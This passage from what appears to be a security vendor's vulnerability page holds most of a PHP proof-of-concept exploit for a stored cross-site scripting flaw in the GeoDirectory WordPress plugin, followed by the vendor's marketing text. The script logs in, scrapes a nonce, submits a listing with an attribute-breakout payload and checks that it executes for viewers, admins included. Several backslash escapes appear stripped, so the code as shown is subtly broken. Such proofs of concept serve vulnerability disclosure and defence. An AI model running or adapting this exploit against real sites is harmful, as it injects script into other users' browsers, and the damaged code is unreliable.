curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( array(
    'log'        => $username,
    'pwd'        => $password,
    'wp-submit'  => 'Log In',
    'testcookie' => '1',
) ) );
curl_setopt( $ch, CURLOPT_COOKIEJAR, $tmp );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_exec( $ch );
curl_close( $ch );
$session_cookie = '';
if ( file_exists( $tmp ) ) {
    foreach ( file( $tmp ) as $line ) {
        $parts = explode( "t", trim( $line ) );
        if ( count( $parts ) >= 7 && strpos( $parts[0], '#' ) !== 0 ) {
            $session_cookie .= $parts[5] . '=' . $parts[6] . '; ';
        }
    }
}

// Step 3: Fetch the add-listing page for a GD post type to obtain nonce + post type.
// gd_place is the conventional default GeoDirectory post type slug.
list( $code, $body ) = req( $target_url . '/?geodir_add_listing=1&listing_type=gd_place', 'GET', null, $session_cookie );
echo "[*] Fetch add-listing page: HTTP {$code}n";

$nonce = '';
if ( preg_match( '/name="_wpnonce"s+value="([^"]+)"/i', $body, $m ) ) {
    $nonce = $m[1];
}
if ( ! $nonce && preg_match( '/_wpnonces*[:=]s*["']([a-f0-9]+)["']/i', $body, $m ) ) {
    $nonce = $m[1];
}
echo "[*] Extracted nonce: " . ( $nonce ?: 'NONE' ) . "n";

// Step 4: Craft the payload.
// The vulnerable flow performs str_replace( '%%post_content%%', $value, $tab->tab_content )
// then do_shortcode() on the result. When the admin template is
// title="%%post_content%%" our quote closes the attribute, and do_shortcode()
// later executes any shortcode syntax, including the injected script inside the
// title attribute content that will be rendered to the victim.
$payload = '" onmouseover="alert(document.domain)" autofocus="x" [gd_single_tabs]';

// Step 5: Submit the listing with the malicious post_content.
$post_fields = array(
    '_wpnonce'          => $nonce,
    'action'            => 'geodir_add_listing',
    'post_type'         => 'gd_place',
    'post_title'        => 'AE PoC ' . time(),
    'post_content'      => $payload,
    'post_category'     => '1',
    'geodir_listing_type' => 'gd_place',
    'wp-submit'         => 'Submit Listing',
);
list( $code, $body ) = req(
    $target_url . '/wp-admin/admin-ajax.php?action=geodir_add_listing',
    'POST',
    $post_fields,
    $session_cookie
);
echo "[*] Submit listing via admin-ajax: HTTP {$code}n";

// Fallback: direct POST to the listing form endpoint.
if ( $code >= 400 ) {
    list( $code, $body ) = req(
        $target_url . '/?geodir_add_listing=1&listing_type=gd_place',
        'POST',
        $post_fields,
        $session_cookie
    );
    echo "[*] Submit listing via form: HTTP {$code}n";
}

// Step 6: Verify the payload landed by fetching the new listing.
// The admin-configured Shortcode tab must place %%post_content%% in an HTML
// attribute for the payload to break out and execute on the victim's browser.
if ( preg_match( '/name="pid"s+value="(d+)"/i', $body, $m ) ) {
    $pid = $m[1];
    list( $code, $body ) = req( $target_url . '/?p=' . $pid, 'GET' );
    echo "[*] Verify listing {$pid}: HTTP {$code}n";
    if ( strpos( $body, 'onmouseover="alert(document.domain)"' ) !== false ) {
        echo "[+] Stored XSS payload reflected in listing output.n";
        echo "[+] Any user (including admin) viewing this listing will execute the injected script.n";
    } else {
        echo "[-] Payload not reflected. Ensure an admin has configured a Shortcode tab with %%post_content%% inside an HTML attribute.n";
    }
}

@unlink( $tmp );

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.